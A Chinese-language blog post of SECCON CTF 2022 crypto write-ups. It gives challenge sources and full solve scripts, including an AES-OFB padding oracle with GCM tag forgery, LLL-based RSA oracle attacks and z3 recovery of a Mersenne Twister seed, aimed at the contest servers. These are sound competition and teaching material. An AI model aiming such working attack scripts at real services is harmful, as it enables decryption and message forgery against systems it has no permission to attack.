SECCON CTF 2022 Writeups

發表於 分類於

這次在 TSJ (實質 solo QQ) 解了些的題目，一樣有學到些東西所以也簡單紀錄一下做法。

Crypto

pqpq

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from Crypto.Util.number import *
from Crypto.Random import *
from flag import flag

p = getPrime(512)
q = getPrime(512)
r = getPrime(512)
n = p * q * r
e = 2 * 65537

assert n.bit_length() // 8 - len(flag) > 0
padding = get_random_bytes(n.bit_length() // 8 - len(flag))
m = bytes_to_long(padding + flag)

assert m < n

c1p = pow(p, e, n)
c1q = pow(q, e, n)
cm = pow(m, e, n)
c1 = (c1p - c1q) % n
c2 = pow(p - q, e, n)

print(f"e = {e}")
print(f"n = {n}")
# p^e - q^e mod n
print(f"c1 = {c1}")
# (p-q)^e mod n
print(f"c2 = {c2}")
# m^e mod n
print(f"cm = {cm}")

首先可得

所以有 和 ，就完全分解 了。

再來是因為 ，由於有 的存在導致它不能直接 invert，但還是能求出 的值。之後就分別對 算 sqrt 後 crt 回來即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from math import gcd
from Crypto.Util.number import long_to_bytes

e = 131074
n = 587926815910957928506680558951380405698765957736660571041732511939308424899531125274073420353104933723578377320050609109973567093301465914201779673281463229043539776071848986139657349676692718889679333084650490543298408820393827884588301690661795023628407437321580294262453190086595632660415087049509707898690300735866307908684649384093580089579066927072306239235691848372795522705863097316041992762430583002647242874432616919707048872023450089003861892443175057
c1 = 92883677608593259107779614675340187389627152895287502713709168556367680044547229499881430201334665342299031232736527233576918819872441595012586353493994687554993850861284698771856524058389658082754805340430113793873484033099148690745409478343585721548477862484321261504696340989152768048722100452380071775092776100545951118812510485258151625980480449364841902275382168289834835592610827304151460005023283820809211181376463308232832041617730995269229706500778999
c2 = 46236476834113109832988500718245623668321130659753618396968458085371710919173095425312826538494027621684566936459628333712619089451210986870323342712049966508077935506288610960911880157875515961210931283604254773154117519276154872411593688579702575956948337592659599321668773003355325067112181265438366718228446448254354388848428310614023369655106639341893255469632846938342940907002778575355566044700049191772800859575284398246115317686284789740336401764665472
cm = 357982930129036534232652210898740711702843117900101310390536835935714799577440705618646343456679847613022604725158389766496649223820165598357113877892553200702943562674928769780834623569501835458020870291541041964954580145140283927441757571859062193670500697241155641475887438532923910772758985332976303801843564388289302751743334888885607686066607804176327367188812325636165858751339661015759861175537925741744142766298156196248822715533235458083173713289585866

# c1 = p^e - q^e mod pq
# c2 = p^e + q^e mod pq
# c1 + c2 = 2p^e mod pq

p = gcd(c1 + c2, n)
q = gcd(c1 - c2, n)
r = n // (p * q)
d = pow(e // 2, -1, (p - 1) * (q - 1) * (r - 1))
m2 = pow(cm, d, n)

for mp in GF(p)(m2).sqrt(all=True):
    for mq in GF(q)(m2).sqrt(all=True):
        for mr in GF(r)(m2).sqrt(all=True):
            m = crt([ZZ(mp), ZZ(mq), ZZ(mr)], [p, q, r])
            print(long_to_bytes(int(m)))
# SECCON{being_able_to_s0lve_this_1s_great!}

BBB

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
from Crypto.Util.number import bytes_to_long, getPrime
from random import randint
from math import gcd
from secret import FLAG
from os import urandom


assert len(FLAG) < 100


def generate_key(rng, seed):
    e = rng(seed)
    while True:
        for _ in range(randint(10,100)):
            e = rng(e)
        p = getPrime(1024)
        q = getPrime(1024)
        phi = (p-1)*(q-1)
        if gcd(e, phi) == 1:
            break

    n = p*q
    return (n, e)


def generate_params():
    p = getPrime(1024)
    a = randint(0, p-1)

    return (p,a)


def main():
    p,a = generate_params()
    print("[+] The parameters of RNG:")
    print(f"{a=}")
    print(f"{p=}")
    b = int(input("[+] Inject [b]ackdoor!!: "))
    rng = lambda x: (x**2 + a*x + b) % p

    keys = []
    seeds = []
    for i in range(5):
        seed = int(input("[+] Please input seed: "))
        seed %= p
        if seed in seeds:
            print("[!] Same seeds are not allowed!!")
            exit()
        seeds.append(seed)
        n, e = generate_key(rng, seed)
        if e <= 10:
            print("[!] `e` is so small!!")
            exit()

        keys.append((n,e))

    flag = bytes_to_long(FLAG + urandom(16))
    for n,e in keys:
        c = pow(flag, e, n)
        print("[+] Public Key:")
        print(f"{n=}")
        print(f"{e=}")
        print("[+] Cipher Text:", c)


if __name__ == "__main__":
    main()

可以注意到 flag 最多 116 bytes，而 最小只能是 ，而 ，因此可知是要用 hastad broadcast attack。

要達成 hastad broadcast attack 需要讓五次的 才行，所以需要對 rng 動些手腳才行。首先從 generate_key 裡面的迴圈數量又不定讓我想到找不動點 ，但是由於它不允許重複使用 seed，所以我想找 的值，且 ，這部分用 sage 很好達成。

找到之後可以用 當作 seed 傳送過去，運氣好只要迴圈次數都對的話最後出來的 就能解掉這題了。

然而這題有個問題在於它 remote 在 generate_key 的時候很花時間，再來前面的運氣好實際上也只有 的機率，所以要找方法改善這個方法。

我注意到它還會 check gcd(e, phi) == 1，所以只要 是偶數的話肯定不會 return，因此只要讓 裡面只有 是奇數，其他都是偶數就能成了。

這樣成功的把 bruteforce 的時間縮短點，然後之後就多試幾次就行了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
from pwn import process, remote
from Crypto.Util.number import long_to_bytes

# io = process(["python", "chall.py"])
io = remote("BBB.seccon.games", 8080)
io.recvuntil(b"a=")
a = int(io.recvline().strip())
io.recvuntil(b"p=")
p = int(io.recvline().strip())


F = GF(p)

E = 11
P.<x, b> = F[]
f = x ^ 2 + a * x + b
bs = (
    (f(f(f(f(f, b), b), b), b)(E, b) - E)
    .univariate_polynomial()
    .roots(multiplicities=False)
)

for b in bs:
    print("=" * 40)
    P.<x> = F[]
    f = x ^ 2 + a * x + b
    isgood = False
    v = E
    seeds = set()
    for i in range(10):
        print(i, v)
        seeds.add(int(v))
        v = f(v)
        if v != E:
            # we don't want all same value
            isgood = True
    if isgood:
        break
print(f"{b = }")
print(f"{seeds = }")
if len(seeds) != 5 or not all([s % 2 == 0 for s in set(seeds) - {E}]):
    print("bad seeds :(")
    exit()
io.recvuntil(b"!!: ")
io.sendline(str(b).encode())
for seed in seeds:
    io.recvuntil(b"seed: ")
    io.sendline(str(seed).encode())
ns = []
cs = []
for _ in range(5):
    io.recvuntil(b"Public Key:")
    io.recvuntil(b"n=")
    n = int(io.recvline().strip())
    io.recvuntil(b"e=")
    e = int(io.recvline().strip())
    io.recvuntil(b"Cipher Text: ")
    c = int(io.recvline().strip())
    print(f"#{_}")
    print(f"{n = }")
    print(f"{e = }")
    print(f"{c = }")
    if e != E:
        print("bad e :(", _)
        exit()
    ns.append(n)
    cs.append(c)
print(f"{ns = }")
print(f"{cs = }")
c = crt(cs, ns)
print(f"{c = }")
m = c.nth_root(E)
print(long_to_bytes(m))
# for i in $(seq 1 16); do python -u test.sage.py > out/out$i.txt &; done
# SECCON{Can_you_find_d_in_bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbdbbbbbbbbbbbbbbbbbbbbbbbbbbbbb?}

其實這邊還有個比較好的方法，不用像我這樣 bruteforce，就是先讓 ，然後再找 ，之後再找 以此類推，因為它迴圈的次數都 10 次以上，這個方法可以保證最後的結果都是 。參考 4yn 的 writeup。

this_is_not_lsb

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from Crypto.Util.number import *
from flag import flag

p = getStrongPrime(512)
q = getStrongPrime(512)
e = 65537
n = p * q
phi = (p - 1) * (q - 1)

d = pow(e, -1, phi)

print(f"n = {n}")
print(f"e = {e}")
print(f"flag_length = {flag.bit_length()}")

# Oops! encrypt without padding!
c = pow(flag, e, n)
print(f"c = {c}")

# padding format: 0b0011111111........
def check_padding(c):
    padding_pos = n.bit_length() - 2
    m = pow(c, d, n)

    return (m >> (padding_pos - 8)) == 0xFF


while True:
    c = int(input("c = "))
    print(check_padding(c))

看到這題的第一眼我想到的是 rsa interval oracle iv，所以直接套用相同的 LLL 方法就解掉了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
from pwn import process, remote
import random
import gmpy2


def pow(a, b, c):
    return int(gmpy2.powmod(a, b, c))


# io = process(["python", "problem2.py"])
io = remote("this-is-not-lsb.seccon.games", 8080)
io.recvuntil(b"n = ")
n = int(io.recvline())
io.recvuntil(b"e = ")
e = int(io.recvline())
io.recvuntil(b"flag_length = ")
flag_length = int(io.recvline())
io.recvuntil(b"c = ")
c = int(io.recvline())

# def oracle(c):
#     io.sendlineafter(b'c = ', str(c).encode())
#     return io.recvline().strip() == b'True'

k = n.bit_length() - 2 - 8
L = 0xFF << k
R = L + (1 << k) - 1
B = 1 << flag_length


def batch_oracle(cc):
    io.sendline("\n".join(map(str, cc)).encode())
    res = []
    for _ in range(len(cc)):
        io.recvuntil(b"c = ")
        res.append(io.recvline().strip() == b"True")
    return res


good = []
while len(good) < flag_length // 10 + 15:
    aa = [random.randrange(1, n) for _ in range(2048)]
    cc = [pow(a, e, n) * c % n for a in aa]
    res = batch_oracle(cc)
    good += [a for a, r in zip(aa, res) if r]
    print("cur", len(good))
print(len(good))

M = matrix(good).stack(matrix.identity(len(good)) * n)
M = matrix([1] + len(good) * [0]).T.augment(M)
load("solver.sage")
_, _, fin = solve(M, [0] + [L] * len(good), [B] + [R] * len(good))
print(fin[0])
# 923527005889600515717927945977637659146494233475843599679540322066522531810019204383510355169667412726034587411782045475101164773757
# SECCON{WeLC0me_t0_tHe_MirRoR_LaNd!_tHIs_is_lSb_orAcLe!}

不過這很明顯非 intended，預期做法是單純的 binary search 而已 XD。就 ，然後對 去搜而已。

insufficient

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from random import randint
from Crypto.Util.number import getPrime, bytes_to_long
from secret import FLAG


# f(x,y,z) = a1*x + a2*x^2 + a3*x^3
#          + b1*y + b2*y^2 + b3*y^3
#          + c*z + s mod p
def calc_f(coeffs, x, y, z, p):
    ret = 0
    ret += x * coeffs[0] + pow(x, 2, p) * coeffs[1] + pow(x, 3, p)*coeffs[2]
    ret += y * coeffs[3] + pow(y, 2, p) * coeffs[4] + pow(y, 3, p)*coeffs[5]
    ret += z * coeffs[6]
    ret += coeffs[7]

    return ret % p


p = getPrime(512)


# [a1, a2, a3, b1, b2, b3, c, s]
coeffs = [randint(0, 2**128) for _ in range(8)]

key = 0
for coeff in coeffs:
    key <<= 128
    key ^= coeff

cipher_text = bytes_to_long(FLAG) ^ key
print(cipher_text)

shares = []
for _ in range(4):
    x = randint(0, p)
    y = randint(0, p)
    z = randint(0, 2**128)

    w = calc_f(coeffs, x, y, z, p)
    packed_share = ((x,y), w)
    shares.append(packed_share)

print(p)
print(shares)

這題有個 trivariate 的函數 ，一共有 8 個未知數。再來它給你四個點的值 和 。 (注意，這邊沒有給 )

方法也很明顯，就是它的未知數和 座標的值都只有 128 bits，而 卻是 bits 的，所以大概是和 LLL 有關的。

反正先把所有的 coeffs 和 z 當未知數列，一共會得到四個等式，然後把 2 terms 的 monomial (如 , ) 一樣當作一個獨立的 term 來看到就能得到一個 underdetermined linear system。

然後之後一樣套 CVP solver 會得到一些解，在 local 測試會發現 $a_i, 的值都是正確的，但是 等的值都是錯的。

自己測試一下會發現算出來錯誤的 實際上和真實的值相差不遠，有以下的關係:

有加 指的是錯誤的值

所以相減後 gcd 就能拿到正確的 ，之後猜一下 的正負就能得到 ，然後就能算出 把整個 flag 還原了。

後來我想了一想出現這個問題的地方其實是和它那個函數 有關，因為

注意一下 都是未知數，也就是它們都屬於常數項，所以自然 和 會有那些 的關係在。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
from sage.all import *
from random import randint
from Crypto.Util.number import getPrime, bytes_to_long, long_to_bytes
from itertools import product
from functools import reduce


with open("output.txt") as f:
    cipher_text = eval(f.readline())
    p = eval(f.readline())
    shares = eval(f.readline())

F = GF(p)
P = PolynomialRing(F, "a1,a2,a3,b1,b2,b3,c,s,z1,z2,z3,z4")
a1, a2, a3, b1, b2, b3, c, s, *zs = P.gens()
nvars = len(P.gens())

eqs = []
for ((x, y), w), z in zip(shares, zs):
    ww = (
        a1 * x
        + a2 * x**2
        + a3 * x**3
        + b1 * y
        + b2 * y**2
        + b3 * y**3
        + c * z
        + s
    )
    eqs.append(ww - w)

M, v = Sequence(eqs).coefficient_matrix()
v = vector(v)[:-1]
M = M.dense_matrix().T.change_ring(ZZ)
target = -M[-1]
M = M[:-1]
nr, nc = M.dimensions()
print(nr, nc)
IP = matrix.identity(nc) * p
I = matrix.identity(nr)
Z = matrix.zero(nc, nr)
B = block_matrix(ZZ, [[M, I], [IP, Z]])
print(B.change_ring(Zmod(10)))

load("solver.sage")
lb = list(target) + [0] * nr
ub = list(target) + [ZZ(mono((2**128,) * nvars)) for mono in v]
result, applied_weights, fin = solve(B, lb, ub)
res = [x // y for x, y in zip(result, applied_weights)]
print(v)
print(vector(res))
cz1, cz2, cz3, cz4, a1, a2, a3, b1, b2, b3, s = res[nc:]

# a1,a2,a3,b1,b2,b3 are correct here
# but cz1,cz2,cz3,cz4,s are not...
# it seems cz1 is actually c*z1+k
#      and cz2 is actually c*z2+k
# and s is actuall s-k

czs = [cz1, cz2, cz3, cz4]
diffs = [x - y for x, y in product(czs, repeat=2)]
c = reduce(gcd, diffs)
z1, z2, z3, z4 = [x // c + 1 for x in czs]
k = cz1 - c * z1
assert k == cz2 - c * z2
s += k

roots = [a1, a2, a3, b1, b2, b3, c, s, z1, z2, z3, z4]
for eq in eqs:
    assert eq(*roots) == 0


key = 0
for coeff in [a1, a2, a3, b1, b2, b3, c, s]:
    key <<= 128
    key ^= coeff
flag = long_to_bytes(cipher_text ^ key)
print(flag)
# SECCON{Unfortunately_I_could_not_come_up_with_a_more_difficult_problem_than_last_year_sorry...-6fc18307d3ed2e7673a249abc2e0e22c}

witches_symmetric_exam

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
from Crypto.Cipher import AES
from Crypto.Random import get_random_bytes
from Crypto.Util.Padding import pad, unpad
from flag import flag, secret_spell

key = get_random_bytes(16)
nonce = get_random_bytes(16)


def encrypt():
    data = secret_spell
    gcm_cipher = AES.new(key, AES.MODE_GCM, nonce=nonce)
    gcm_ciphertext, gcm_tag = gcm_cipher.encrypt_and_digest(data)

    ofb_input = pad(gcm_tag + gcm_cipher.nonce + gcm_ciphertext, 16)

    ofb_iv = get_random_bytes(16)
    ofb_cipher = AES.new(key, AES.MODE_OFB, iv=ofb_iv)
    ciphertext = ofb_cipher.encrypt(ofb_input)
    return ofb_iv + ciphertext


def decrypt(data):
    ofb_iv = data[:16]
    ofb_ciphertext = data[16:]
    ofb_cipher = AES.new(key, AES.MODE_OFB, iv=ofb_iv)

    try:
        m = ofb_cipher.decrypt(ofb_ciphertext)
        temp = unpad(m, 16)
    except:
        return b"ofb error"

    try:
        gcm_tag = temp[:16]
        gcm_nonce = temp[16:32]
        gcm_ciphertext = temp[32:]
        gcm_cipher = AES.new(key, AES.MODE_GCM, nonce=gcm_nonce)

        plaintext = gcm_cipher.decrypt_and_verify(gcm_ciphertext, gcm_tag)
    except:
        return b"gcm error"

    if b"give me key" == plaintext:
        your_spell = input("ok, please say secret spell:").encode()
        if your_spell == secret_spell:
            return flag
        else:
            return b"Try Harder"

    return b"ok"


print(f"ciphertext: {encrypt().hex()}")
while True:
    c = input("ciphertext: ")
    print(decrypt(bytes.fromhex(c)))

這題是個看起來很複雜，但概念很簡單，然而實作又更加複雜的一個題目==。

這題關鍵在於它有 AES-OFB 的 padding oracle，由於 OFB 的 encrypt 和 decrypt 是相同的，可以利用 oracle 來達成任意 plaintext 的加密，也就是能寫出一個 函數。有 之後要解密 OFB 很簡單，因為它就只是個 xor 而已。

而 GCM 的部分在有 之後也是很簡單，因為 Auth Key 就是用 生成的 ()，所以我們有辦法對任何 ciphertext 去 forge auth tag，然後也就能控制解密出的 plaintext 的內容。

用 padding oracle 實作 和 CBC padding oracle 很類似，實作上真正困難的是怎麼利用一個 函數去模擬 GCM 的所有操作。我這邊是透過去讀 pycryptodome 的內部實作，然後自己 monkeypatch 掉一些會用到的部分之後就能用 模擬 GCM 了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
from pwn import process, remote
import ast
from Crypto.Cipher import AES
from Crypto.Random import get_random_bytes
from Crypto.Util.Padding import pad, unpad
from Crypto.Cipher._mode_gcm import _GHASH, _ghash_portable as ghash_c
from Crypto.Util.number import *

# io = process(["python", "problem.py"])
io = remote("witches-symmetric-exam.seccon.games", 8080)
io.recvuntil(b"ciphertext: ")
ciphertext = bytes.fromhex(io.recvline().decode().strip())


def decrypt(ct, ret=True):
    io.sendlineafter(b"ciphertext: ", ct.hex().encode())
    if ret:
        return ast.literal_eval(io.recvline().strip().decode())


def batch_decrypt(cts):
    io.sendline("\n".join(map(bytes.hex, cts)).encode())
    res = []
    for _ in range(len(cts)):
        io.recvuntil(b"ciphertext: ")
        r = ast.literal_eval(io.recvline().strip().decode())
        res.append(r)
    return res


def xor(a, b):
    return bytes([x ^ y for x, y in zip(a, b)])


def ecb_enc(pt):
    print("Encrypting", pt)
    assert len(pt) == 16
    result = b""
    for i in range(16):
        pad = i + 1
        ct = bytearray([0] * 16)
        for j in range(256):
            ct[:i] = [pad ^ x for k, x in enumerate(result)]
            ct[i] = j

            if decrypt(pt + ct[::-1]) != b"ofb error":
                result += bytes([j ^ pad])
                break
        else:
            raise Exception(f"Padding oracle failed")
    return result[::-1]


def ecb_enc(pt):
    # optimized for remote using batch decryption oracle
    print("Encrypting", pt)
    assert len(pt) == 16
    result = b""
    for i in range(16):
        pad = i + 1
        cts = []
        ct = bytearray([0] * 16)
        for j in range(256):
            ct[:i] = [pad ^ x for k, x in enumerate(result)]
            ct[i] = j
            cts.append(bytes(ct))
        res = batch_decrypt([pt + ct[::-1] for ct in cts])
        for j, r in enumerate(res):
            if r != b"ofb error":
                result += bytes([j ^ pad])
                break
    return result[::-1]


def ofb_decrypt(iv, ct):
    pt = b""
    for i in range(0, len(ct), 16):
        iv = ecb_enc(iv)
        pt += xor(iv, ct[i : i + 16])
    return pt


ofb_iv = ciphertext[:16]
ofb_ciphertext = ciphertext[16:]
ofb_input = ofb_decrypt(ofb_iv, ofb_ciphertext)
print(ofb_input)
ofb_stream = xor(ofb_input, ofb_ciphertext)
print(ofb_stream)


def gcm_oracle(inp):
    inp = pad(inp, 16)
    assert len(inp) <= len(ofb_stream)
    return decrypt(ofb_iv + xor(ofb_stream, inp), ret=False)


gcm_concat = unpad(ofb_input, 16)
gcm_tag = gcm_concat[:16]
gcm_nonce = gcm_concat[16:32]
gcm_ciphertext = gcm_concat[32:]


class FakeCTR:
    def __init__(self, ecb_enc, initial_value, nonce):
        if isinstance(initial_value, bytes):
            initial_value = int.from_bytes(initial_value, "big")
        self.ecb_enc = ecb_enc
        self.initial_value = initial_value
        self.nonce = nonce
        self.ctr = (int.from_bytes(nonce, "big") << 32) | initial_value

    def encrypt(self, pt, output=None):
        ct = b""
        for i in range(0, len(pt), 16):
            ct += xor(self.ecb_enc(self.ctr.to_bytes(16, "big")), pt[i : i + 16])
            self.ctr += 1
        return ct


class FakeGCM:
    def __init__(self, ecb_enc, nonce):
        self.ecb_enc = ecb_enc
        self.nonce = nonce
        self.hash_subkey = ecb_enc(b"\x00" * 16)
        fill = (16 - (len(nonce) % 16)) % 16 + 8
        ghash_in = nonce + b"\x00" * fill + long_to_bytes(8 * len(nonce), 8)
        self.j0 = _GHASH(self.hash_subkey, ghash_c).update(ghash_in).digest()
        self.nonce_ctr = self.j0[:12]
        self.iv_ctr = (bytes_to_long(self.j0) + 1) & 0xFFFFFFFF

    def encrypt(self, msg):
        cip = AES.new(b"\x00" * 16, AES.MODE_GCM, nonce=gcm_nonce)
        cip._cipher = FakeCTR(ecb_enc, self.iv_ctr, self.nonce_ctr)
        cip._tag_cipher = FakeCTR(ecb_enc, self.j0, b"")
        cip._signer = _GHASH(self.hash_subkey, ghash_c)
        return cip.encrypt_and_digest(msg)


gcm = FakeGCM(ecb_enc, gcm_nonce)
ctr = FakeCTR(ecb_enc, gcm.iv_ctr, gcm.nonce_ctr)
secret_spell = xor(ctr.encrypt(b"\x00" * len(gcm_ciphertext)), gcm_ciphertext)
print(secret_spell)
ct, tag = gcm.encrypt(b"give me key")


gcm_oracle(tag + gcm_nonce + ct)
io.sendlineafter(b"spell:", secret_spell)
io.interactive()
# SECCON{you_solved_this!?I_g1ve_y0u_symmetr1c_cipher_mage_certificate}

如果要找 GCM 完全都自己處理的版本的話可以參考 rkm0959 的 solve script。

janken vs kurenaif

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import os
import signal
import random
import secrets

FLAG = os.getenv("FLAG", "fake{cast a special spell}")


def janken(a, b):
    return (a - b + 3) % 3


signal.alarm(1000)
print("kurenaif: Hi, I'm a crypto witch. Let's a spell battle with me.")

witch_spell = secrets.token_hex(16)
witch_rand = random.Random()
witch_rand.seed(int(witch_spell, 16))
print(f"kurenaif: My spell is {witch_spell}. What about your spell?")

your_spell = input("your spell: ")
your_random = random.Random()
your_random.seed(int(your_spell, 16))

for _ in range(666):
    witch_hand = witch_rand.randint(0, 2)
    your_hand = your_random.randint(0, 2)

    if janken(your_hand, witch_hand) != 1:
        print("kurenaif: Could you come here the day before yesterday?")
        quit()

print("kurenaif: Amazing! Your spell is very powerful!!")
print(f"kurenaif: OK. The flag is here. {FLAG}")

這題單純要找到一個 Python 的 random object 可以產生出指定會勝利的 output 是很簡單，只要 z3 或是其他東西 solve 一下然後把 states 設定好就行了。然而困難的地方在於這題還要求那個 random object 是要可以用 seed 弄出來的，而不是每個 states 都有可能用一個 integer seed 生成的。

看一下 random_seed 的實作可以知道它會把 int 按 32 bits 切割，然後用 init_by_array 做一些很複雜的操作去把 state 初始化。

然後去查一下可以在 RNGeesus 的 mersenne.py 找到有人用 z3 嘗試把 states 逆轉回 seed 成功，所以我把它結合 icemonster/symbolic_mersenne_cracker 在一起，讓 z3 去解也真的成功了。這個方法的唯一缺點是它需要花上十幾分鐘才能解出來，不過因為題目給的時間限制也是 1000 秒，大概代表這是 intended 吧。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
from z3 import *
from pwn import process, remote, context
import signal
import random
from itertools import count

context.log_level = "debug"

# io = process(["python", "server.py"])
io = remote("janken-vs-kurenaif.seccon.games", 8080)
io.recvuntil(b"is ")
THE_SEED = int(io.recvuntil(b".")[:-1].decode(), 16)
signal.alarm(1000)


def randbelow(r, n):
    k = n.bit_length()
    v = r.getrandbits(k)
    while v >= n:
        v = r.getrandbits(k)
    return v


def janken(a, b):
    return (a - b + 3) % 3


r1 = random.Random(THE_SEED)
vals = []
for _ in range(666):
    b = r1.randint(0, 2)
    a = (1 - 3 + b) % 3
    assert janken(a, b) == 1
    vals.append(a)


class Untwister:
    def __init__(self):
        self.ctr = count()
        name = next(self.ctr)
        self.init_MT = [BitVec(f"MT_{i}_{name}", 32) for i in range(624)]
        self.MT = self.symbolic_twist(self.init_MT)
        self.index = 0
        self.solver = Solver()
        self.subs = 0

    # This particular method was adapted from https://www.schutzwerk.com/en/43/posts/attacking_a_random_number_generator/
    def symbolic_untamper(self, solver, y):
        name = next(self.ctr)

        y1 = BitVec(f"y1_{name}", 32)
        y2 = BitVec(f"y2_{name}", 32)
        y3 = BitVec(f"y3_{name}", 32)
        y4 = BitVec(f"y4_{name}", 32)

        equations = [
            y2 == y1 ^ (LShR(y1, 11)),
            y3 == y2 ^ ((y2 << 7) & 0x9D2C5680),
            y4 == y3 ^ ((y3 << 15) & 0xEFC60000),
            y == y4 ^ (LShR(y4, 18)),
        ]

        solver.add(equations)
        return y1

    def symbolic_twist(
        self,
        MT,
        n=624,
        upper_mask=0x80000000,
        lower_mask=0x7FFFFFFF,
        a=0x9908B0DF,
        m=397,
    ):
        """
        This method models MT19937 function as a Z3 program
        """
        MT = [i for i in MT]  # Just a shallow copy of the state

        for i in range(n):
            x = (MT[i] & upper_mask) + (MT[(i + 1) % n] & lower_mask)
            xA = LShR(x, 1)
            xB = If(
                x & 1 == 0, xA, xA ^ a
            )  # Possible Z3 optimization here by declaring auxiliary symbolic variables
            MT[i] = MT[(i + m) % n] ^ xB

        return MT

    def get_symbolic(self, guess):
        name = next(self.ctr)
        ERROR = 'Must pass a string like "?1100???1001000??0?100?10??10010" where ? represents an unknown bit'

        assert type(guess) == str, ERROR
        assert all(map(lambda x: x in "01?", guess)), ERROR
        assert len(guess) <= 32, "One 32-bit number at a time please"
        guess = guess.zfill(32)

        self.symbolic_guess = BitVec(f"symbolic_guess_{name}", 32)
        guess = guess[::-1]

        for i, bit in enumerate(guess):
            if bit != "?":
                self.solver.add(Extract(i, i, self.symbolic_guess) == bit)

        return self.symbolic_guess

    def submit(self, guess):
        """
        You need 624 numbers to completely clone the state.
            You can input less than that though and this will give you the best guess for the state
        """
        self.subs += 1
        if self.index >= 624:
            name = next(self.ctr)
            next_mt = self.symbolic_twist(self.MT)
            self.MT = [BitVec(f"MT_{i}_{name}", 32) for i in range(624)]
            for i in range(624):
                self.solver.add(self.MT[i] == next_mt[i])
            self.index = 0

        symbolic_guess = self.get_symbolic(guess)
        symbolic_guess = self.symbolic_untamper(self.solver, symbolic_guess)
        self.solver.add(self.MT[self.index] == symbolic_guess)
        self.index += 1

    def get_random(self, skip_states=True):
        """
        This will give you a random.Random() instance with the cloned state.
        """
        print("Solving...")
        self.solver.check()
        model = self.solver.model()

        # Compute best guess for state
        state = list(map(lambda x: model[x].as_long(), self.init_MT))
        result_state = (3, tuple(state + [624]), None)
        r = random.Random()
        r.setstate(result_state)
        if skip_states:
            for _ in range(self.subs):
                r.getrandbits(32)
        return r


from RNGeesus.src.code_mersenne.mersenne import MT19937

num_seeds = 624
MT = [BitVecVal(i, 32) for i in MT19937(19650218).MT]
SEEDS = [BitVec(f"seed[{i}]", 32) for i in range(num_seeds)]
i, j = 1, 0
n = 624
for k in range(n):
    MT[i] = (MT[i] ^ ((MT[i - 1] ^ LShR(MT[i - 1], 30)) * 1664525)) + SEEDS[j] + j
    i += 1
    j += 1
    if i >= n:
        MT[0] = MT[n - 1]
        i = 1
    if j == num_seeds:
        j = 0
for k in range(n - 1):
    MT[i] = (MT[i] ^ ((MT[i - 1] ^ LShR(MT[i - 1], 30)) * 1566083941)) - i
    i += 1
    if i >= n:
        MT[0] = MT[n - 1]
        i = 1
MT[0] = BitVecVal(0x80000000, 32)

r1 = random.Random(THE_SEED)
ut = Untwister()
for i in range(624):
    ut.solver.add(ut.init_MT[i] == MT[i])
for v in vals:
    ut.submit(f"{v:02b}" + "?" * 30)
r2 = ut.get_random(skip_states=False)
for v in vals:
    assert janken(r2.randint(0, 2), r1.randint(0, 2)) == 1
m = ut.solver.model()
seeds = [m[s].as_long() for s in SEEDS]
print(seeds)


def array_to_int(arr):
    return int.from_bytes(
        b"".join([int.to_bytes(i, 4, "little") for i in arr]), "little"
    )


seed = array_to_int(seeds)
r1 = random.Random(THE_SEED)
r3 = random.Random(seed)
for v in vals:
    assert janken(r3.randint(0, 2), r1.randint(0, 2)) == 1

io.sendline(hex(seed).encode())
io.interactive()
# SECCON{https://youtu.be/h0GSFxoRhrc}

